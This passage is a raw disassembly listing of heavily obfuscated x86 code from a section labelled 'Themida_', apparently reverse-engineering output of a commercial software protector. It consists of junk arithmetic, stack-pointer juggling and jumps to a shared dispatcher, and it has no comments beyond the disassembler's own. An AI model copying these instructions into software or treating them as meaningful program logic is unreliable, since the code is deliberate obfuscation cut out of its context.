sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C230 loc_588E2F: ; CODE XREF: sub_58C230-4ED5j pop edi ; END OF FUNCTION CHUNK FOR sub_58C230 ; START OF FUNCTION CHUNK FOR sub_585452 loc_588E30: ; CODE XREF: sub_585452+684j push 61B2h jmp loc_586CF5 ; --------------------------------------------------------------------------- loc_588E3A: ; CODE XREF: sub_585452-8AAj add eax, 12C2EBD6h sub edx, eax mov eax, [esp-14h+arg_E+2] add esp, 4 jmp loc_5854B9 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_588E4C: ; CODE XREF: Themida_:0058C049j mov [esp], edx mov dl, 98h jmp loc_58DF92 ; --------------------------------------------------------------------------- loc_588E56: ; CODE XREF: Themida_:00584D22j push esp pop ebx push ebp mov ebp, 30562A86h jmp loc_585210 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_588E63: ; CODE XREF: sub_585452+1990j not eax sub eax, 0DF25F68Ah add edi, 7D454B8Ch add edi, eax push esi mov esi, 229E16C1h add esi, 474C085Bh and esi, 1D9613FAh add esi, 73C33874h sub edi, esi pop esi jmp loc_58D2FA ; --------------------------------------------------------------------------- loc_588E92: ; CODE XREF: sub_585452+39D8j xchg edi, [esp+0Eh+var_10+2] pop esp jmp loc_58E3F8 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_588E9B: ; CODE XREF: Themida_:0058E794j add al, 64h jmp loc_58F186 ; --------------------------------------------------------------------------- loc_588EA2: ; CODE XREF: Themida_:005840A2j pop dword ptr [esp] mov esp, [esp] jmp loc_584608 ; --------------------------------------------------------------------------- loc_588EAD: ; CODE XREF: Themida_:00587FC3j xchg ecx, [esp] mov esp, [esp] jmp loc_584413 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589FD5 loc_588EB8: ; CODE XREF: sub_589FD5-6133j add esp, 4 push 0E8Ch mov [esp-4+arg_0], esi push esp pop esi push ebx mov ebx, 275A7A43h sub ebx, 1E3F7B7Bh add ebx, 1 xor ebx, 91AFECDh add esi, ebx pop ebx sub esp, 4 mov [esp+0], edi jmp loc_58997D ; END OF FUNCTION CHUNK FOR sub_589FD5 ; --------------------------------------------------------------------------- lodsb jmp loc_587AA9 ; --------------------------------------------------------------------------- loc_588EF4: ; CODE XREF: Themida_:0058BE93j mov [esp], esi jmp loc_58EEEA ; --------------------------------------------------------------------------- loc_588EFC: ; CODE XREF: Themida_:00587FACj pop ecx push ebp push 0F80h push esp jmp loc_58E06C ; --------------------------------------------------------------------------- loc_588F09: ; CODE XREF: Themida_:0058D4F9j pop ebp pop edi sub esp, 4 mov [esp], ebx push 2CB136BAh jmp loc_587108 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_588F1B: ; CODE XREF: sub_58EFBD-706Bj sub edi, 12EC00E6h sub edi, ecx push esi mov esi, 127B143Ah jmp loc_58788A ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_588F2E: ; CODE XREF: sub_585452-749j inc ecx jmp loc_58B3C4 ; --------------------------------------------------------------------------- loc_588F34: ; CODE XREF: sub_585452+71A2j mov [esp-1Ah+arg_16], edx mov dh, 4Dh push edx mov dl, 0DAh push ecx jmp loc_588DD8 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], al pushf jmp loc_583C20 ; --------------------------------------------------------------------------- loc_588F51: ; CODE XREF: Themida_:00588BFEj add esp, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] movsx ecx, al jmp loc_5884C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_588F6B: ; CODE XREF: sub_585452+A29j push eax mov ah, 0A2h sub bh, ah mov eax, [esp+0Eh+var_10+2] add esp, 4 and ch, bh pop ebx push 4CBFh mov [esp+0Ah+var_C+2], eax push edx mov dh, 0BDh add dh, 77h mov al, dh pop edx push edx mov dh, 0F7h or dh, 10h sub dh, 0BAh jmp loc_584115 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_588F98: ; CODE XREF: Themida_:00587DABj mov ecx, 110C2895h sub esp, 4 mov [esp], eax mov eax, 62DD1676h or ecx, eax jmp loc_58FB92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_588FB2: ; CODE XREF: sub_585452+9D99j mov eax, [esp+0Eh+var_10+2] jmp loc_587BB6 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E931 loc_588FBA: ; CODE XREF: sub_58E931-A2F5j xchg ebp, edi jmp loc_584F38 ; END OF FUNCTION CHUNK FOR sub_58E931 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_588FC1: ; CODE XREF: sub_585452+71B4j xor eax, 29314B72h mov edx, eax pop eax neg edx and edx, 15DC7762h dec edx add edx, 7A9A4399h sub ebx, 28A93404h add ebx, edx add ebx, 28A93404h pop edx add ebx, 75485769h add ebx, edi push eax mov eax, 75485769h sub ebx, eax jmp loc_585311 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_588FFC: ; CODE XREF: Themida_:0058AA56j pop edi push ebp mov ebp, 4 add edi, ebp mov ebp, [esp] add esp, 4 sub esp, 4 jmp loc_586F52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589016: ; CODE XREF: sub_585452+4D58j add eax, edi jmp loc_58B465 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58901D: ; CODE XREF: Themida_:0058FA06j pop esp loc_58901E: ; CODE XREF: Themida_:005846E8j push 7FA5h mov [esp], ebx push dword ptr [esp] mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_58E4F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58903D: ; CODE XREF: sub_585452+363Aj not edi xor edi, 2873385Dh xor edi, 87C68D32h and edx, edi jmp loc_587071 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_589052: ; CODE XREF: Themida_:0058FB67j sub edx, 49F6FF3Ah mov ecx, edx jmp loc_5879DF ; =============== S U B R O U T I N E ======================================= sub_58905F proc near ; CODE XREF: sub_586650+3CB9j var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005840D3 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 00584F12 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00589B82 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058D4E0 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058F918 SIZE 0000000B BYTES sub esp, 4 mov [esp+4+var_4], esi push ecx mov ecx, 51D04FC7h jmp loc_5840D3 sub_58905F endp ; --------------------------------------------------------------------------- loc_589070: ; CODE XREF: Themida_:0058FF35j sub eax, 0F8550Dh add ebx, eax pop eax jmp loc_585A29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589967 loc_58907D: ; CODE XREF: sub_589967-5A64j mov esi, edx jmp loc_5889BD ; END OF FUNCTION CHUNK FOR sub_589967 ; --------------------------------------------------------------------------- loc_589084: ; CODE XREF: Themida_:00589408j pop ebx add ebx, 8902C5Eh add ebx, ebp sub ebx, 8902C5Eh jmp loc_588CF6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589098: ; CODE XREF: sub_585452+9EDj push [esp+42h+var_40+2] mov edi, [esp+46h+var_48+2] add esp, 4 jmp loc_588214 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58AB18 loc_5890A7: ; CODE XREF: sub_58AB18+35E2j pop esi jmp loc_587370 ; END OF FUNCTION CHUNK FOR sub_58AB18 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp], cl pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589C10 loc_5890BC: ; CODE XREF: sub_589C10-4CDDj xor edx, [esp-4+arg_0] pop esp push 0E8h jmp loc_5897BF ; END OF FUNCTION CHUNK FOR sub_589C10 ; --------------------------------------------------------------------------- loc_5890CA: ; CODE XREF: Themida_:00584C5Dj mov ebx, [esp] add esp, 4 add edi, 4A19636Ah sub edi, 33B4204Eh add edi, ebp add edi, 33B4204Eh sub edi, 4A19636Ah mov ebp, [esp] add esp, 4 push eax mov eax, 4 add edi, eax pop eax jmp loc_5888F2 ; --------------------------------------------------------------------------- loc_589101: ; CODE XREF: Themida_:005848D1j xor [esp], ecx jmp loc_58CD1F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589109: ; CODE XREF: sub_585452+1A66j pop esi add esi, 4 sub esi, 4 xchg esi, [esp+0Ah+var_C+2] jmp loc_584E25 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58911B: ; CODE XREF: Themida_:0058480Dj xor [esp], ecx xor ecx, [esp] jmp loc_58B302 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BE98 loc_589126: ; CODE XREF: sub_58BE98-7A5Cj mov eax, 4D6E6F65h jmp loc_58D0CB ; END OF FUNCTION CHUNK FOR sub_58BE98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589130: ; CODE XREF: sub_585452+6EC8j add eax, 4 push 20Bh mov [esp+0Eh+var_10+2], ebx jmp sub_58E761 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5877DD loc_589142: ; CODE XREF: sub_5877DD+3FB6j mov edx, ebp jmp loc_585801 ; END OF FUNCTION CHUNK FOR sub_5877DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589149: ; CODE XREF: sub_585452+F57j pop [esp-20h+arg_1A+2] jmp loc_5875D9 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_589151: ; CODE XREF: sub_58FA66-1152j pop ebp push ecx mov ecx, esp push esi mov esi, 7D4B0A35h xor esi, 23376C3Eh push eax mov eax, 6CF8794Bh jmp loc_584B6B ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- loc_58916C: ; CODE XREF: Themida_:0058EF10j add esi, 4 push ecx mov ecx, esp push eax push ebp jmp loc_58F987 ; --------------------------------------------------------------------------- loc_58917C: ; CODE XREF: Themida_:005879C2j push small 4742h mov [esp], dx push 4C18h mov [esp], ebx jmp loc_58E0BC ; --------------------------------------------------------------------------- lodsd xor eax, ebx push esi mov esi, 49234EBFh jmp loc_5881AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58919F: ; CODE XREF: sub_585452+756Ej pop edi jmp sub_58E234 ; --------------------------------------------------------------------------- loc_5891A5: ; CODE XREF: sub_585452+637Dj mov ebx, [esp-28h+arg_24] push 1769h mov [esp-24h+arg_1E+2], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-24h+arg_1E+2] pop esp xor eax, edi push [esp-28h+arg_24] pop edi add esp, 4 push 36C6h mov [esp-28h+arg_24], edi push edx jmp loc_58E303 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C230 loc_5891D9: ; CODE XREF: sub_58C230-4FC3j push esi mov esi, esp sub esp, 4 jmp loc_58D370 ; END OF FUNCTION CHUNK FOR sub_58C230 ; --------------------------------------------------------------------------- loc_5891E4: ; CODE XREF: Themida_:0058F8DEj mov ebx, 42A82223h and ebx, 63BA6789h push ecx jmp loc_586147 ; --------------------------------------------------------------------------- loc_5891F5: ; CODE XREF: Themida_:0058C1F7j add ecx, 414F6484h or ecx, 73CD1A68h sub ecx, 18EA0F2h jmp loc_58BDC7 ; --------------------------------------------------------------------------- loc_58920C: ; CODE XREF: Themida_:00589415j sub esp, 4 mov [esp], ecx mov ecx, 4B342DA3h not ecx not ecx jmp loc_584292 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F3BC loc_589223: ; CODE XREF: sub_58F3BC-13Bj push dword ptr [esp+4] mov ebx, [esp+8+var_8] add esp, 4 pop [esp+4+var_4] pop esp and eax, ebp pop ebp or edx, eax shl edx, 1 push dword ptr [edi+24h] push 1BF9h mov [esp+0], ecx push edi mov edi, 432E6560h jmp sub_5878BB ; END OF FUNCTION CHUNK FOR sub_58F3BC ; --------------------------------------------------------------------------- loc_58924E: ; CODE XREF: Themida_:00586F9Fj sub eax, 194C032Fh mov ecx, eax pop eax jmp loc_5847F0 ; --------------------------------------------------------------------------- loc_58925B: ; CODE XREF: Themida_:00589B7Dj push eax jmp loc_583F47 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58960C loc_589261: ; CODE XREF: sub_58960C+5248j add ebx, 27686041h xor edx, eax jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_58960C ; --------------------------------------------------------------------------- loc_58926E: ; CODE XREF: Themida_:00585102j pop ebp add ebp, 4 push edx push esi push 57D818D9h pop esi neg esi xor esi, 8EC3DE78h mov edx, esi pop esi jmp loc_58FC79 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58928D: ; CODE XREF: sub_585452+11C0j pop ebp sub edx, eax push [esp+0Ah+var_C+2] jmp loc_58D7C7 ; --------------------------------------------------------------------------- loc_589298: ; CODE XREF: sub_585452+664Ej add esp, 4 mov esi, ebp jmp loc_58BF68 ; --------------------------------------------------------------------------- loc_5892A5: ; CODE XREF: sub_585452+6B7j mov esi, [esp+5Eh+var_60+2] jmp loc_58BEB9 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5892AD: ; CODE XREF: Themida_:0058DBE0j add dword ptr [esp], 4 pop edx push eax mov eax, 4 add edx, eax pop eax jmp loc_58A185 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F728 loc_5892C3: ; CODE XREF: sub_58F728-14Cj pop edx or eax, eax jz sub_586650 push dword ptr [edi+1Ch] add [esp-4+arg_0], 214F6582h jmp loc_58BABA ; END OF FUNCTION CHUNK FOR sub_58F728 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5892DB: ; CODE XREF: sub_585452-107j mov dh, 0B1h push eax jmp loc_58D0A7 ; --------------------------------------------------------------------------- loc_5892E3: ; CODE XREF: sub_585452+5AACj sub esi, 6EEE799Dh pop ecx push esi jmp loc_584F65 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58AB18 loc_5892F0: ; CODE XREF: sub_58AB18+2093j pop esi and eax, edi pop edi jmp loc_586423 ; END OF FUNCTION CHUNK FOR sub_58AB18 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5892F9: ; CODE XREF: sub_585452+6C6Dj push ecx jmp loc_58882B ; --------------------------------------------------------------------------- loc_5892FF: ; CODE XREF: sub_585452+7D26j sub edi, 2 jmp loc_58D378 ; --------------------------------------------------------------------------- loc_589307: ; CODE XREF: sub_585452+7244j push 2D6Fh jmp loc_58EA54 ; --------------------------------------------------------------------------- loc_589311: ; CODE XREF: sub_585452+4883j add esp, 4 jmp loc_58A2C1 ; --------------------------------------------------------------------------- loc_589319: ; CODE XREF: sub_585452+8F3Aj cmp ecx, eax pushf jmp loc_583C20 ; --------------------------------------------------------------------------- loc_589321: ; CODE XREF: sub_585452+8412j sub ecx, 340E38D5h jmp loc_5866F3 ; --------------------------------------------------------------------------- loc_58932C: ; CODE XREF: sub_585452+5136j mov eax, esp add eax, 4 add eax, 4 jmp loc_5852A3 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CA39 loc_58933B: ; CODE XREF: sub_58CA39-4C20j mov ebp, 111D5C82h xor ebp, 3EE86786h or ebp, 359E6F5Eh sub ebp, 7C0B000Eh sub ebp, 0C3F47F4Ch jmp loc_58C620 ; END OF FUNCTION CHUNK FOR sub_58CA39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_586F2E loc_58935D: ; CODE XREF: sub_586F2E+5j pop ebp jmp loc_58F958 ; END OF FUNCTION CHUNK FOR sub_586F2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587574 loc_589363: ; CODE XREF: sub_587574+390Fj add ebx, 4 xchg ebx, [esp+0] pop esp add ebp, eax jmp loc_589922 ; END OF FUNCTION CHUNK FOR sub_587574 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F923 loc_589371: ; CODE XREF: sub_58F923-B72Bj mov ecx, eax pop eax pop ebp jmp sub_589EF0 ; END OF FUNCTION CHUNK FOR sub_58F923 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58937A: ; CODE XREF: sub_585452+40BBj shr al, 5 dec al xor al, 2Ah jmp loc_58639C ; --------------------------------------------------------------------------- loc_589386: ; CODE XREF: sub_585452+4E9Ej sub eax, 55E901C0h mov edx, [esp+0Eh+var_10+2] add esp, 4 sub esp, 4 mov [esp+0Eh+var_10+2], edi mov edi, 12D61612h sub ebx, 596B693Ah jmp loc_58FDDC ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5893AD: ; CODE XREF: Themida_:00589AE9j mov ecx, 402A1188h shr ecx, 7 or ecx, 69782A08h inc ecx inc ecx jmp loc_58776F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5893C2: ; CODE XREF: sub_585452+1E8Cj pop esi pop eax sub esi, 0E412C7Bh push esi dec [esp-24h+arg_1E+2] pop esi not esi push ebp mov ebp, 7E150400h neg ebp dec ebp not ebp add ebp, 0EBE131A8h jmp loc_58D450 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5893E7: ; CODE XREF: Themida_:0058970Aj not ebp xor ebp, 6F6F295Dh add ebp, 677E7893h add ebx, ebp pop ebp push 37A6h mov [esp], ebp push ebx mov ebx, 2 mov ebp, ebx jmp loc_589084 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F728 loc_58940D: ; CODE XREF: sub_58F728+6j sub edi, ebp jmp loc_587868 ; END OF FUNCTION CHUNK FOR sub_58F728 ; --------------------------------------------------------------------------- loc_589414: ; CODE XREF: Themida_:00588CCDj pop eax jmp loc_58920C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58941A: ; CODE XREF: sub_585452+92A9j add eax, edx jmp loc_58833F ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_589421: ; CODE XREF: Themida_:00586397j mov ecx, [esp] jmp loc_585139 ; --------------------------------------------------------------------------- loc_589429: ; CODE XREF: Themida_:0058605Cj mov [esp], cx push small 28E1h mov [esp], bx jmp loc_58E730 ; --------------------------------------------------------------------------- loc_58943A: ; CODE XREF: Themida_:0058D57Aj pop edi push ebx jmp loc_58E93D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_589441: ; CODE XREF: sub_58EFBD+EE0j xor edi, 7C1C8BB2h jmp loc_58DB71 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- loc_58944C: ; CODE XREF: Themida_:0058822Ej pop esp push edx push ebx push 33A12816h pop ebx sub ebx, 18D428CFh jmp loc_58EE60 ; --------------------------------------------------------------------------- loc_589460: ; CODE XREF: Themida_:00586A4Fj mov edi, 10A4B38Eh jmp loc_58D22E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58946A: ; CODE XREF: sub_585452+46E7j pop eax sub ebp, 78BC219Eh sub ebp, edi add ebp, 78BC219Eh pop edi xchg ebp, [esp-2Ch+arg_28] mov esp, [esp-2Ch+arg_28] mov [esp-2Ch+arg_28], edi push esi push 0DAA51EEh pop esi push ebp jmp loc_58DE2E ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_589490: ; CODE XREF: Themida_:0058AB53j add esp, 4 push ebx mov ebx, 0FFFFFFFFh add ebp, ebx mov ebx, [esp] add esp, 4 shr ebp, 2 sub ebp, 0DBF78E4Dh add eax, 2054C0Eh sub eax, ebp jmp loc_58D351 ; --------------------------------------------------------------------------- loc_5894B6: ; CODE XREF: Themida_:00589870j xchg ecx, [esp] pop esp jmp loc_586AF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589C10 loc_5894BF: ; CODE XREF: sub_589C10+2545j add eax, ebx pop ebx mov ecx, eax pop eax add esi, 4CB95B0Ch add esi, 0CE579BCh add esi, ecx sub esi, 0CE579BCh sub esi, 4CB95B0Ch jmp loc_588DCB ; END OF FUNCTION CHUNK FOR sub_589C10 ; --------------------------------------------------------------------------- loc_5894E4: ; CODE XREF: Themida_:00584E74j pop ebp push eax mov eax, 4 add edx, eax pop eax xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_58B8E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5894FC: ; CODE XREF: sub_585452-632j neg ch shl ch, 6 add ch, 8Bh sub al, ch pop ecx push eax mov al, 0A4h shr al, 8 jmp loc_58937A ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- push 6E59h mov [esp], ebx push ecx jmp loc_588DC0 ; --------------------------------------------------------------------------- loc_589520: ; CODE XREF: Themida_:0058BB6Cj mov bh, 0C9h add al, 1Dh sub al, 0FCh add al, bh add al, 0FCh jmp loc_5851E8 ; --------------------------------------------------------------------------- loc_58952F: ; CODE XREF: Themida_:0058EC19j push 1B85h mov [esp], ebx mov ebx, 78895017h xor ebx, 11105406h jmp loc_585865 ; --------------------------------------------------------------------------- loc_589547: ; CODE XREF: Themida_:005852C0j mov ebx, 1FDF50AFh shl ebx, 6 add ebx, 7DF429C4h add edi, ebx pop ebx pop ebp xor edi, [esp] xor [esp], edi jmp loc_58F76C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589564: ; CODE XREF: sub_585452+3B1j or edx, 4726261Fh dec edx inc edx dec edx push eax jmp loc_58BC3C ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_589573: ; CODE XREF: Themida_:00585F02j xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov ax, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp push ebp jmp loc_58C0D2 ; --------------------------------------------------------------------------- loc_58958F: ; CODE XREF: Themida_:0058A34Ej mov esp, [esp] push edx mov edx, 4 jmp loc_587BBC ; --------------------------------------------------------------------------- loc_58959D: ; CODE XREF: Themida_:005868D9j shl ebx, 7 shr ebx, 7 add ebx, 41B00B09h jmp loc_583F08 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5895AE: ; CODE XREF: sub_585452+77Aj mov ch, 95h neg ch push eax mov ah, 5Eh xor ch, ah jmp loc_58F3F8 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_5895BC: ; CODE XREF: sub_58EFBD-305Aj mov ebp, [esp+8+var_8] add esp, 4 and edx, 577958E6h push ecx mov ecx, 0AD97EF21h jmp loc_588B7A ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- loc_5895D6: ; CODE XREF: Themida_:00586AC1j add ecx, 4 xchg ecx, [esp] jmp loc_58408C ; --------------------------------------------------------------------------- loc_5895E1: ; CODE XREF: Themida_:0058D8D7j jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5895E6: ; CODE XREF: sub_585452+2FACj mov esi, [esp+0Ch+var_C] add esp, 4 add ecx, 4 xchg ecx, [esp+8+var_8] mov esp, [esp+8+var_8] jmp loc_58FE0B ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5895FA: ; CODE XREF: Themida_:00583EEDj push ebp jmp loc_58821D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589600: ; CODE XREF: sub_585452+6EF2j sub eax, 26D5C6Eh add ecx, eax jmp loc_58C2DF ; END OF FUNCTION CHUNK FOR sub_585452 ; =============== S U B R O U T I N E ======================================= sub_58960C proc near ; CODE XREF: sub_585452+873j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00583ECE SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005851E0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00586C94 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00587A59 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00588854 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00589261 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005897B7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058A29B SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058A975 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0058C1A7 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058D586 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058DE4A SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0058E836 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0058E9A3 SIZE 00000024 BYTES push ebp push ebx mov ebx, 7E9D7B99h or ebx, 5807050Eh xor ebx, 2F4E64E8h mov ebp, ebx pop ebx jmp loc_58C1A7 sub_58960C endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_589627: ; CODE XREF: Themida_:0058DDB1j mov esi, 4 add [esp+4], esi jmp loc_589681 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_589635: ; CODE XREF: sub_58FA66+388j not dword ptr [esp+0] mov eax, [esp+0] jmp loc_589A02 ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589640: ; CODE XREF: sub_585452+36A3j pop edi add edi, 4 add edi, 4 push edi jmp loc_58EFB4 ; --------------------------------------------------------------------------- loc_589650: ; CODE XREF: sub_585452+F4Cj pop eax push ecx mov ch, 9Fh push ebx mov ebx, esp add ebx, 4 jmp loc_58867B ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_589662: ; CODE XREF: Themida_:0058DD25j add esp, 4 jmp loc_589B8F ; --------------------------------------------------------------------------- loc_58966D: ; CODE XREF: Themida_:0058D44Bj push edi push esp pop edi add edi, 4 add edi, 4 jmp loc_58E95A ; --------------------------------------------------------------------------- loc_589681: ; CODE XREF: Themida_:00589630j pop esi pop edi push ebp mov ebp, 4 add edi, ebp pop ebp jmp loc_588ACA ; --------------------------------------------------------------------------- loc_589691: ; CODE XREF: Themida_:00584DA2j pop ebp sub esp, 4 mov [esp], ecx mov ecx, 3C687151h inc ecx sub ecx, 1 jmp loc_589B53 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587574 loc_5896AC: ; CODE XREF: sub_587574-478j add esp, 4 and ecx, 20AE377Bh add ecx, 735A4A50h not ecx push edx mov edx, 31B92417h shr edx, 3 xor edx, 107C46B3h inc edx add edx, 0D98D6F1Ah add ecx, edx mov edx, [esp+0] jmp loc_58C072 ; END OF FUNCTION CHUNK FOR sub_587574 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EA34 loc_5896DD: ; CODE XREF: sub_58EA34-A26j add eax, 2 jmp loc_58CFC1 ; END OF FUNCTION CHUNK FOR sub_58EA34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5896E5: ; CODE XREF: sub_585452+7472j pop eax jmp loc_58ADAB ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5896EB: ; CODE XREF: Themida_:0058BF37j push dword ptr [esp] pop edx add esp, 4 jmp loc_583DD1 ; --------------------------------------------------------------------------- loc_5896FA: ; CODE XREF: Themida_:0058627Cj push 3FD7h mov [esp], ebp mov ebp, 2045474Ch shr ebp, 2 jmp loc_5893E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58970F: ; CODE XREF: sub_585452+23BCj mov edx, edi jmp loc_589CB7 ; --------------------------------------------------------------------------- loc_589716: ; CODE XREF: sub_585452-9FCj mov ah, bh jmp loc_587AC7 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_5842B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58AB18 loc_58972B: ; CODE XREF: sub_58AB18+3j add ebx, 4 sub ebx, 4 xchg ebx, [esp-10h+arg_C] pop esp mov [esp-14h+arg_10], ebp 